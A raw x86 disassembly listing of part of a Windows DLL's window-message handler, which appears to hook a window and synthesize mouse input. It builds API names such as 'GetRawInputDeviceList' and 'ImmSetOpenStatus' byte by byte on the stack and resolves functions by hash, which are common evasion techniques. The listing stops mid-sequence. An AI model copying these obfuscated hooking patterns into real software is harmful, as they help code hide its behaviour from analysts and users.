jne 0x100b56a0
cmp esi, ebx
jne 0x100b56a0
cmp dword [0x102c2ad0], 0
jne 0x100b56a0
or edi, 0x4000000
mov dword [esp + 0x14], edi
push 0x18d3d20
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b5a4d
cmp dword [0x102c32f8], 0
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov bl, 0x65
jne 0x100b5874
lea ecx, [esp + 0x430]
push ecx
lea edx, [esp + 0x3dc]
push edx
mov byte [esp + 0x3e0], 0x75
mov byte [esp + 0x3e1], 0x73
mov byte [esp + 0x3e2], bl
mov byte [esp + 0x3e3], 0x72
mov byte [esp + 0x3e4], 0x33
mov byte [esp + 0x3e5], 0x32
mov byte [esp + 0x3e6], 0x2e
mov byte [esp + 0x3e7], 0x64
mov byte [esp + 0x3e8], 0x6c
mov byte [esp + 0x3e9], 0x6c
mov byte [esp + 0x3ea], 0
mov byte [esp + 0x438], 0x47
mov byte [esp + 0x439], bl
mov byte [esp + 0x43a], 0x74
mov byte [esp + 0x43b], 0x52
mov byte [esp + 0x43c], bl
mov byte [esp + 0x43d], 0x67
mov byte [esp + 0x43e], 0x69
mov byte [esp + 0x43f], 0x73
mov byte [esp + 0x440], 0x74
mov byte [esp + 0x441], bl
mov byte [esp + 0x442], 0x72
mov byte [esp + 0x443], bl
mov byte [esp + 0x444], 0x64
mov byte [esp + 0x445], 0x52
mov byte [esp + 0x446], 0x61
mov byte [esp + 0x447], 0x77
mov byte [esp + 0x448], 0x49
mov byte [esp + 0x449], 0x6e
mov byte [esp + 0x44a], 0x70
mov byte [esp + 0x44b], 0x75
mov byte [esp + 0x44c], 0x74
mov byte [esp + 0x44d], 0x44
mov byte [esp + 0x44e], bl
mov byte [esp + 0x44f], 0x76
mov byte [esp + 0x450], 0x69
mov byte [esp + 0x451], 0x63
mov byte [esp + 0x452], bl
mov byte [esp + 0x453], 0x73
mov byte [esp + 0x454], 0
call ebp
push eax
call edi
mov esi, eax
test esi, esi
je 0x100b5874
push 0x78
lea eax, [esp + 0x44]
push 0
push eax
mov dword [esp + 0x24], 0xa
call fcn.100f6b80
add esp, 0xc
push 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x48]
push edx
call esi
xor ecx, ecx
test eax, eax
jbe 0x100b5874
lea edx, [esp + 0x42]
cmp word [edx], 6
je 0x100b5867
add ecx, 1
add edx, 0xc
cmp ecx, eax
jb 0x100b5855
jmp 0x100b5874
lea eax, [ecx + ecx*2]
mov ecx, dword [esp + eax*4 + 0x48]
mov dword [0x102c32f8], ecx
cmp dword [0x102c3304], 0
jne 0x100b5a00
lea edx, [esp + 0x3e4]
push edx
lea eax, [esp + 0x400]
push eax
mov byte [esp + 0x404], 0x75
mov byte [esp + 0x405], 0x73
mov byte [esp + 0x406], bl
mov byte [esp + 0x407], 0x72
mov byte [esp + 0x408], 0x33
mov byte [esp + 0x409], 0x32
mov byte [esp + 0x40a], 0x2e
mov byte [esp + 0x40b], 0x64
mov byte [esp + 0x40c], 0x6c
mov byte [esp + 0x40d], 0x6c
mov byte [esp + 0x40e], 0
mov byte [esp + 0x3ec], 0x47
mov byte [esp + 0x3ed], bl
mov byte [esp + 0x3ee], 0x74
mov byte [esp + 0x3ef], 0x52
mov byte [esp + 0x3f0], 0x61
mov byte [esp + 0x3f1], 0x77
mov byte [esp + 0x3f2], 0x49
mov byte [esp + 0x3f3], 0x6e
mov byte [esp + 0x3f4], 0x70
mov byte [esp + 0x3f5], 0x75
mov byte [esp + 0x3f6], 0x74
mov byte [esp + 0x3f7], 0x44
mov byte [esp + 0x3f8], bl
mov byte [esp + 0x3f9], 0x76
mov byte [esp + 0x3fa], 0x69
mov byte [esp + 0x3fb], 0x63
mov byte [esp + 0x3fc], bl
mov byte [esp + 0x3fd], 0x4c
mov byte [esp + 0x3fe], 0x69
mov byte [esp + 0x3ff], 0x73
mov byte [esp + 0x400], 0x74
mov byte [esp + 0x401], 0
call ebp
push eax
call edi
mov esi, eax
test esi, esi
je 0x100b5a00
push 0x320
lea ecx, [esp + 0xbc]
push 0
push ecx
mov dword [esp + 0x40], 0x64
call fcn.100f6b80
add esp, 0xc
push 8
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0xc0]
push eax
call esi
xor ecx, ecx
test eax, eax
jbe 0x100b5a00
cmp dword [esp + ecx*8 + 0xbc], 1
jne 0x100b59ea
cmp dword [esp + ecx*8 + 0xb8], 0
jne 0x100b59f3
add ecx, 1
cmp ecx, eax
jb 0x100b59d6
jmp 0x100b5a00
mov ecx, dword [esp + ecx*8 + 0xb8]
mov dword [0x102c3304], ecx
mov eax, dword [0x102c32f8]
test eax, eax
je 0x100b5a4d
cmp dword [0x102c3304], 0
je 0x100b5a4d
cmp dword [esp + 0x28], 0
je 0x100b5a3b
mov edx, dword [0x102c2ae4]
push 0
push edx
push 1
push 0x12345678
push 0
push 0xff
push eax
call fcn.10051510
add esp, 0x1c
jmp 0x100b5a4d
push 0x12345678
push 0
push 0xff
push eax
call fcn.10051590
cmp dword [0x102c330c], 0
mov esi, dword [esp + 0x664]
je 0x100b5a99
mov edx, dword [0x102c3314]
xor ecx, ecx
lea eax, [edx + edx*4]
lea eax, [eax*4 + 0x102c28b8]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x30]
add edx, 1
cmp edx, 0xa
mov dword [eax], esi
mov dword [eax + 4], ecx
mov dword [0x102c3314], edx
jb 0x100b5a99
mov dword [0x102c3314], 0
cmp dword [0x10199664], 0
je 0x100b5afd
cmp dword [esp + 0x28], 0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
je 0x100b5ade
mov edx, dword [0x102c2ae4]
push 0
push edx
mov edx, dword [esp + 0x2c]
push 1
push eax
push esi
push ecx
push edx
call fcn.10051510
mov eax, 1
add esp, 0x1c
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
mov edx, dword [esp + 0x24]
push eax
push esi
push ecx
push edx
call fcn.10051590
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
and edi, 0xfbffffff
push edi
push esi
push ebp
push eax
call dword [fcn.102c3358]
mov ecx, dword [esp + 0x24]
xor eax, eax
lea edx, [esp + 0x410]
mov dword [esp + 0x410], eax
mov dword [esp + 0x414], eax
mov dword [esp + 0x418], eax
mov dword [esp + 0x41c], eax
push edx
mov dword [esp + 0x424], eax
mov dword [esp + 0x428], eax
mov dword [esp + 0x42c], eax
mov dword [esp + 0x414], ecx
mov dword [esp + 0x418], ebp
mov dword [esp + 0x41c], esi
mov dword [esp + 0x420], edi
call dword [sym.imp.USER32.dll_TranslateMessage]
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x838
jne 0x100b64bb
mov eax, dword [esp + 0x660]
mov ecx, eax
and ecx, 0x80
mov ebp, eax
shr ebp, 0x10
mov dword [esp + 0x28], ecx
xor edi, edi
xor ecx, ecx
test al, 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x3d8], edi
je 0x100b5bc6
lea ecx, [edi + 1]
test al, 2
je 0x100b5bcf
mov edi, 1
test al, 4
je 0x100b5bde
mov dword [esp + 0x3d8], 1
mov edx, ebx
shr edx, 0x10
cmp ebp, 0xa
movsx eax, bx
movsx edx, dx
mov dword [esp + 0x18], eax
mov dword [esp + 0x34], edx
ja 0x100b722a
xor esi, esi
cmp ebp, 1
mov dword [esp + 0x24], ebx
mov ebx, dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], esi
jne 0x100b5c4d
test ecx, ecx
je 0x100b5c24
mov esi, 1
mov dword [esp + 0x14], esi
test edi, edi
je 0x100b5c2f
or esi, 2
mov dword [esp + 0x14], esi
cmp dword [esp + 0x3d8], 0
je 0x100b5c40
or esi, 0x10
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x200
jmp 0x100b5d85
cmp ebp, 2
jne 0x100b5c68
mov esi, 1
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x201
jmp 0x100b5d85
cmp ebp, 8
jne 0x100b5c83
mov esi, 1
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x203
jmp 0x100b5d85
cmp ebp, 3
jne 0x100b5c95
mov dword [esp + 0x10], 0x202
jmp 0x100b5d85
cmp ebp, 4
jne 0x100b5cb0
mov esi, 2
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x204
jmp 0x100b5d85
cmp ebp, 5
jne 0x100b5cc2
mov dword [esp + 0x10], 0x205
jmp 0x100b5d85
cmp ebp, 6
jne 0x100b5cdd
mov esi, 0x10
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x207
jmp 0x100b5d85
cmp ebp, 7
jne 0x100b5cef
mov dword [esp + 0x10], 0x208
jmp 0x100b5d85
cmp ebp, 9
jne 0x100b5d1a
test ecx, ecx
je 0x100b5cfb
lea esi, [ebp - 8]
test edi, edi
je 0x100b5d02
or esi, 2
cmp dword [esp + 0x3d8], 0
je 0x100b5d0f
or esi, 0x10
movzx esi, si
or esi, 0x780000
jmp 0x100b5d43
cmp ebp, 0xa
jne 0x100b5d85
test ecx, ecx
je 0x100b5d26
lea esi, [ebp - 9]
test edi, edi
je 0x100b5d2d
or esi, 2
cmp dword [esp + 0x3d8], 0
je 0x100b5d3a
or esi, 0x10
movzx esi, si
or esi, 0xff880000
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x3d8], eax
lea eax, [esp + 0x3d8]
push eax
push ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x3e4], edx
call ebx
movzx eax, word [esp + 0x3dc]
movzx edx, word [esp + 0x3d8]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x10], 0x20a
mov dword [esp + 0x24], eax
cmp dword [0x102c2adc], 0
jne 0x100b5da1
cmp dword [0x102c2ad0], 0
jne 0x100b5da1
or esi, 0x8000
mov dword [esp + 0x14], esi
cmp ebp, 1
jne 0x100b5e3a
mov ecx, dword [esp + 0x20]
movsx esi, word [0x102c2a94]
movsx edi, word [0x102c2a96]
xor eax, eax
mov dword [esp + 0x3d8], eax
mov dword [esp + 0x3dc], eax
lea eax, [esp + 0x3d8]
push eax
push ecx
call ebx
mov eax, dword [esp + 0x3dc]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x3d8]
mov ebx, dword [esp + 0x18]
add edx, eax
add ebx, ecx
movzx edx, dx
sub ecx, esi
add ecx, dword [esp + 0x18]
movzx ebx, bx
sub eax, edi
add eax, dword [esp + 0x34]
shl edx, 0x10
or edx, ebx
test ecx, ecx
mov dword [0x102c2a94], edx
mov esi, eax
je 0x100b5e20
push ebp
push ecx
push 0x37
call fcn.100c4ed0
add esp, 0xc
test esi, esi
je 0x100b5ece
push 1
push esi
push 0x38
call fcn.100c4ed0
add esp, 0xc
jmp 0x100b5ece
cmp ebp, 2
je 0x100b5ec2
cmp ebp, 8
je 0x100b5ec2
cmp ebp, 3
jne 0x100b5e58
push 1
push 0
call fcn.100c4e90
jmp 0x100b5ecb
cmp ebp, 4
jne 0x100b5e63
push 1
push 1
jmp 0x100b5ec6
cmp ebp, 5
jne 0x100b5e73
push 1
push 1
call fcn.100c4e90
jmp 0x100b5ecb
cmp ebp, 6
jne 0x100b5e7e
push 1
push 2
jmp 0x100b5ec6
cmp ebp, 7
jne 0x100b5e8e
push 1
push 2
call fcn.100c4e90
jmp 0x100b5ecb
cmp ebp, 0xa
jne 0x100b5ea8
push 1
push 4
call fcn.100c4e60
push 0xffffffffffffff88
call fcn.100c1850
add esp, 0xc
jmp 0x100b5ece
cmp ebp, 9
jne 0x100b5ece
push 1
push 5
call fcn.100c4e60
push 0x78
call fcn.100c1850
add esp, 0xc
jmp 0x100b5ece
push 1
push 0
call fcn.100c4e60
add esp, 8
call fcn.100b8590
test eax, eax
mov esi, dword [esp + 0x20]
jne 0x100b5ee2
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0x797a779e
call fcn.100b9fb0
mov edi, dword [esp + 0x2c]
add esp, 4
test edi, edi
je 0x100b5f1a
mov eax, dword [0x102c2ae0]
mov ecx, dword [0x102c2a94]
push 0
push eax
push 1
push ecx
push 0
push 0x84
push esi
call fcn.10051510
add esp, 0x1c
jmp 0x100b5f31
mov edx, dword [0x102c2a94]
push edx
push 0
push 0x84
push esi
call fcn.100514f0
add esp, 0x10
cmp ebp, 1
jne 0x100b5f67
test edi, edi
je 0x100b5f56
mov eax, dword [0x102c2ae0]
push 0
push eax
push ebp
push 0x2000001
push esi
push 0x20
push esi
call fcn.10051510
add esp, 0x1c
jmp 0x100b5f67
push 0x2000001
push esi
push 0x20
push esi
call fcn.100514f0
add esp, 0x10
push 0x326cd5b9
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b6385
cmp dword [0x102c32fc], 0
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov bl, 0x65
jne 0x100b613f
lea ecx, [esp + 0x410]
push ecx
lea edx, [esp + 0x400]
push edx
mov byte [esp + 0x404], 0x75
mov byte [esp + 0x405], 0x73
mov byte [esp + 0x406], bl
mov byte [esp + 0x407], 0x72
mov byte [esp + 0x408], 0x33
mov byte [esp + 0x409], 0x32
mov byte [esp + 0x40a], 0x2e
mov byte [esp + 0x40b], 0x64
mov byte [esp + 0x40c], 0x6c
mov byte [esp + 0x40d], 0x6c
mov byte [esp + 0x40e], 0
mov byte [esp + 0x418], 0x47
mov byte [esp + 0x419], bl
mov byte [esp + 0x41a], 0x74
mov byte [esp + 0x41b], 0x52
mov byte [esp + 0x41c], bl
mov byte [esp + 0x41d], 0x67
mov byte [esp + 0x41e], 0x69
mov byte [esp + 0x41f], 0x73
mov byte [esp + 0x420], 0x74
mov byte [esp + 0x421], bl
mov byte [esp + 0x422], 0x72
mov byte [esp + 0x423], bl
mov byte [esp + 0x424], 0x64
mov byte [esp + 0x425], 0x52
mov byte [esp + 0x426], 0x61
mov byte [esp + 0x427], 0x77
mov byte [esp + 0x428], 0x49
mov byte [esp + 0x429], 0x6e
mov byte [esp + 0x42a], 0x70
mov byte [esp + 0x42b], 0x75
mov byte [esp + 0x42c], 0x74
mov byte [esp + 0x42d], 0x44
mov byte [esp + 0x42e], bl
mov byte [esp + 0x42f], 0x76
mov byte [esp + 0x430], 0x69
mov byte [esp + 0x431], 0x63
mov byte [esp + 0x432], bl
mov byte [esp + 0x433], 0x73
mov byte [esp + 0x434], 0
call ebp
push eax
call edi
mov esi, eax
test esi, esi
je 0x100b613f
push 0x78
lea eax, [esp + 0x44]
push 0
push eax
mov dword [esp + 0x24], 0xa
call fcn.100f6b80
add esp, 0xc
push 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x48]
push edx
call esi
xor ecx, ecx
test eax, eax
jbe 0x100b613f
lea edx, [esp + 0x42]
lea esp, [esp]
cmp word [edx], 2
je 0x100b6132
add ecx, 1
add edx, 0xc
cmp ecx, eax
jb 0x100b6120
jmp 0x100b613f
lea eax, [ecx + ecx*2]
mov ecx, dword [esp + eax*4 + 0x48]
mov dword [0x102c32fc], ecx
cmp dword [0x102c3300], 0
jne 0x100b62da
lea edx, [esp + 0x3e4]
push edx
lea eax, [esp + 0x434]
push eax
mov byte [esp + 0x438], 0x75
mov byte [esp + 0x439], 0x73
mov byte [esp + 0x43a], bl
mov byte [esp + 0x43b], 0x72
mov byte [esp + 0x43c], 0x33
mov byte [esp + 0x43d], 0x32
mov byte [esp + 0x43e], 0x2e
mov byte [esp + 0x43f], 0x64
mov byte [esp + 0x440], 0x6c
mov byte [esp + 0x441], 0x6c
mov byte [esp + 0x442], 0
mov byte [esp + 0x3ec], 0x47
mov byte [esp + 0x3ed], bl
mov byte [esp + 0x3ee], 0x74
mov byte [esp + 0x3ef], 0x52
mov byte [esp + 0x3f0], 0x61
mov byte [esp + 0x3f1], 0x77
mov byte [esp + 0x3f2], 0x49
mov byte [esp + 0x3f3], 0x6e
mov byte [esp + 0x3f4], 0x70
mov byte [esp + 0x3f5], 0x75
mov byte [esp + 0x3f6], 0x74
mov byte [esp + 0x3f7], 0x44
mov byte [esp + 0x3f8], bl
mov byte [esp + 0x3f9], 0x76
mov byte [esp + 0x3fa], 0x69
mov byte [esp + 0x3fb], 0x63
mov byte [esp + 0x3fc], bl
mov byte [esp + 0x3fd], 0x4c
mov byte [esp + 0x3fe], 0x69
mov byte [esp + 0x3ff], 0x73
mov byte [esp + 0x400], 0x74
mov byte [esp + 0x401], 0
call ebp
push eax
call edi
mov esi, eax
test esi, esi
je 0x100b62da
push 0x320
lea ecx, [esp + 0xbc]
push 0
push ecx
mov dword [esp + 0x3e4], 0x64
call fcn.100f6b80
add esp, 0xc
push 8
lea edx, [esp + 0x3dc]
push edx
lea eax, [esp + 0xc0]
push eax
call esi
xor ecx, ecx
test eax, eax
jbe 0x100b62da
jmp 0x100b62b0
cmp dword [esp + ecx*8 + 0xbc], 0
jne 0x100b62c4
cmp dword [esp + ecx*8 + 0xb8], 0
jne 0x100b62cd
add ecx, 1
cmp ecx, eax
jb 0x100b62b0
jmp 0x100b62da
mov ecx, dword [esp + ecx*8 + 0xb8]
mov dword [0x102c3300], ecx
mov eax, dword [0x102c32fc]
test eax, eax
je 0x100b637f
cmp dword [0x102c3300], 0
je 0x100b637f
cmp dword [esp + 0x28], 0
je 0x100b634a
mov edx, dword [0x102c2ae0]
push 0
push edx
push 1
push 0x12345679
push 0
push 0xff
push eax
call fcn.10051510
mov esi, dword [esp + 0x4c]
add esp, 0x1c
cmp esi, 1
jne 0x100b6387
mov eax, dword [0x102c2ae0]
mov ecx, dword [0x102c32fc]
push 0
push eax
push esi
push 0x12345679
push 0
push 0xff
push ecx
call fcn.10051510
add esp, 0x1c
jmp 0x100b6387
push 0x12345679
push 0
push 0xff
push eax
call fcn.10051590
mov esi, dword [esp + 0x30]
cmp esi, 1
jne 0x100b6387
mov edx, dword [0x102c32fc]
push 0x12345679
push 0
push 0xff
push edx
call fcn.10051590
jmp 0x100b6387
mov esi, dword [esp + 0x30]
jmp 0x100b6387
mov esi, ebp
cmp dword [0x102c3310], 0
mov edi, dword [esp + 0x10]
je 0x100b642a
cmp edi, 0x203
je 0x100b642a
cmp edi, 0x207
je 0x100b642a
cmp edi, 0x208
je 0x100b642a
mov eax, dword [0x102c331c]
xor ecx, ecx
cmp edi, 0x20a
lea eax, [eax + eax*2]
lea eax, [eax*8 + 0x102c2980]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
movsx ecx, word [esp + 0x664]
mov dword [eax], ecx
mov ecx, dword [esp + 0x34]
mov dword [eax + 4], ecx
jne 0x100b6400
sub esi, 9
neg esi
sbb esi, esi
and esi, 0xff100000
add esi, 0x780000
mov dword [eax + 8], esi
mov esi, dword [esp + 0x20]
push eax
push esi
call dword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [0x102c331c]
add eax, 1
cmp eax, 0xa
mov dword [0x102c331c], eax
jb 0x100b642e
mov dword [0x102c331c], 0
jmp 0x100b642e
mov esi, dword [esp + 0x20]
cmp dword [0x10199668], 0
je 0x100b6492
cmp dword [esp + 0x28], 0
je 0x100b646f
mov edx, dword [0x102c2ae0]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
push 0
push edx
push 1
push eax
push ecx
push edi
push esi
call fcn.10051510
mov eax, 1
add esp, 0x1c
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
push edx
push eax
push edi
push esi
call fcn.10051590
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
push ecx
and eax, 0xffff7fff
push eax
push edi
push esi
call dword [fcn.102c3358]
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x83a
jne 0x100b64eb
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x10199654], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x83d
jne 0x100b652b
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov edx, ebx
shr edx, 0x10
movsx eax, dx
movsx ecx, bx
push eax
push ecx
call fcn.100c1830
mov eax, 1
add esp, 8
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x83f
jne 0x100b656d
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov edx, ebx
and edx, 0x7fffffff
mov eax, 1
shr ebx, 0x1f
mov dword [0x102c2aac], edx
mov dword [0x102c2aa8], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x863
jne 0x100b65ab
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
fild dword [esp + 0x664]
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
fdiv qword [0x10161a98]
fstp qword [0x10199670]
jmp 0x100b722a
cmp edi, 0x842
jne 0x100b662a
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
push 0x16cc25d5
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b6615
call fcn.100c19f0
mov esi, eax
push esi
call fcn.10040e30
mov edi, eax
push ebx
push edi
call fcn.10040b60
add esp, 0xc
test esi, esi
mov dword [esp + 0x10], eax
je 0x100b65fd
push esi
call dword [sym.imp.USER32.dll_DestroyCursor]
test edi, edi
je 0x100b661d
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [esp + 0x14], 1
jmp 0x100b722a
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x843
jne 0x100b66e1
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
push 0x16cc25d5
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b66cc
call fcn.100c19f0
mov esi, eax
test esi, esi
mov edi, 0xffff
mov ebp, edi
je 0x100b66b0
lea eax, [esp + 0x3e4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetIconInfo]
mov eax, dword [esp + 0x3f4]
test eax, eax
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
je 0x100b668d
push eax
call edi
mov eax, dword [esp + 0x3f0]
test eax, eax
je 0x100b669b
push eax
call edi
mov edi, dword [esp + 0x3e8]
mov ebp, dword [esp + 0x3ec]
push esi
call dword [sym.imp.USER32.dll_DestroyCursor]
movzx eax, bp
movzx ecx, di
shl eax, 0x10
or eax, ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
jmp 0x100b722a
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x844
jne 0x100b673c
cmp dword [esp + 0x660], 0x1234
jne 0x100b6727
mov eax, dword [0x102c2abc]
cmp eax, 0x1000
jge 0x100b6727
lea ecx, [eax + 1]
mov dword [esp + 0x10], ecx
mov dword [eax*4 + 0x102be898], 1
mov dword [0x102c2abc], ecx
mov dword [esp + 0x14], 1
jmp 0x100b722a
mov dword [esp + 0x10], 0x1388
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x845
jne 0x100b677d
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
lea edx, [ebx - 1]
cmp edx, 0xfff
ja 0x100b4406
mov eax, 1
mov dword [ebx*4 + fcn.102be894], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x846
jne 0x100b6870
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
cmp ebx, ecx
mov eax, 1
jne 0x100b67c2
mov dword [0x102c2ac8], ecx
mov dword [0x102c3308], ecx
mov dword [0x102c2ac4], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp ebx, eax
jne 0x100b67e3
mov dword [0x102c2ac4], eax
mov dword [0x102c2ac8], eax
mov dword [0x102c3308], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp ebx, 2
jne 0x100b6806
mov dword [0x102c2ac4], eax
mov dword [0x102c2ac8], ecx
mov dword [0x102c3308], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp ebx, 3
jne 0x100b6829
mov dword [0x102c3308], ecx
mov dword [0x102c2ac8], eax
mov dword [0x102c2ac4], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp ebx, 4
jne 0x100b684a
mov dword [0x102c2ac4], eax
mov dword [0x102c2ac8], eax
mov dword [0x102c3308], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp ebx, 5
jne 0x100b440b
mov dword [0x102c3308], eax
mov dword [0x102c2ac8], eax
mov dword [0x102c2ac4], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x850
jne 0x100b68a1
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x102c2acc], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x851
jne 0x100b68d0
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, dword [0x102c2a94]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x852
jne 0x100b6901
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x10199664], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x853
jne 0x100b6932
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x10199668], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x84d
jne 0x100b6963
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x102c2ad0], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x84f
jne 0x100b6f0f
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
cmp ebx, ecx
mov byte [esp + 0x3d8], 0x69
mov byte [esp + 0x3d9], 0x6d
mov byte [esp + 0x3da], 0x6d
mov byte [esp + 0x3db], 0x33
mov byte [esp + 0x3dc], 0x32
mov byte [esp + 0x3dd], 0x2e
mov byte [esp + 0x3de], 0x64
mov byte [esp + 0x3df], 0x6c
mov byte [esp + 0x3e0], 0x6c
mov byte [esp + 0x3e1], 0
je 0x100b6c73
lea ecx, [esp + 0x3d8]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x100b4406
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea edx, [esp + 0x430]
push edx
mov bl, 0x65
push esi
mov byte [esp + 0x438], 0x49
mov byte [esp + 0x439], 0x6d
mov byte [esp + 0x43a], 0x6d
mov byte [esp + 0x43b], 0x47
mov byte [esp + 0x43c], bl
mov byte [esp + 0x43d], 0x74
mov byte [esp + 0x43e], 0x43
mov byte [esp + 0x43f], 0x6f
mov byte [esp + 0x440], 0x6e
mov byte [esp + 0x441], 0x74
mov byte [esp + 0x442], bl
mov byte [esp + 0x443], 0x78
mov byte [esp + 0x444], 0x74
mov byte [esp + 0x445], 0
call edi
mov ebp, eax
lea eax, [esp + 0x3fc]
push eax
push esi
mov byte [esp + 0x404], 0x49
mov byte [esp + 0x405], 0x6d
mov byte [esp + 0x406], 0x6d
mov byte [esp + 0x407], 0x47
mov byte [esp + 0x408], bl
mov byte [esp + 0x409], 0x74
mov byte [esp + 0x40a], 0x4f
mov byte [esp + 0x40b], 0x70
mov byte [esp + 0x40c], bl
mov byte [esp + 0x40d], 0x6e
mov byte [esp + 0x40e], 0x53
mov byte [esp + 0x40f], 0x74
mov byte [esp + 0x410], 0x61
mov byte [esp + 0x411], 0x74
mov byte [esp + 0x412], 0x75
mov byte [esp + 0x413], 0x73
mov byte [esp + 0x414], 0
call edi
lea ecx, [esp + 0x410]
push ecx
push esi
mov dword [esp + 0x20], eax
mov byte [esp + 0x418], 0x49
mov byte [esp + 0x419], 0x6d
mov byte [esp + 0x41a], 0x6d
mov byte [esp + 0x41b], 0x53
mov byte [esp + 0x41c], bl
mov byte [esp + 0x41d], 0x74
mov byte [esp + 0x41e], 0x4f
mov byte [esp + 0x41f], 0x70
mov byte [esp + 0x420], bl
mov byte [esp + 0x421], 0x6e
mov byte [esp + 0x422], 0x53
mov byte [esp + 0x423], 0x74
mov byte [esp + 0x424], 0x61
mov byte [esp + 0x425], 0x74
mov byte [esp + 0x426], 0x75
mov byte [esp + 0x427], 0x73
mov byte [esp + 0x428], 0
call edi
mov dword [esp + 0x28], eax
mov byte [esp + 0x3e4], 0x49
mov byte [esp + 0x3e5], 0x6d
mov byte [esp + 0x3e6], 0x6d
mov byte [esp + 0x3e7], 0x52
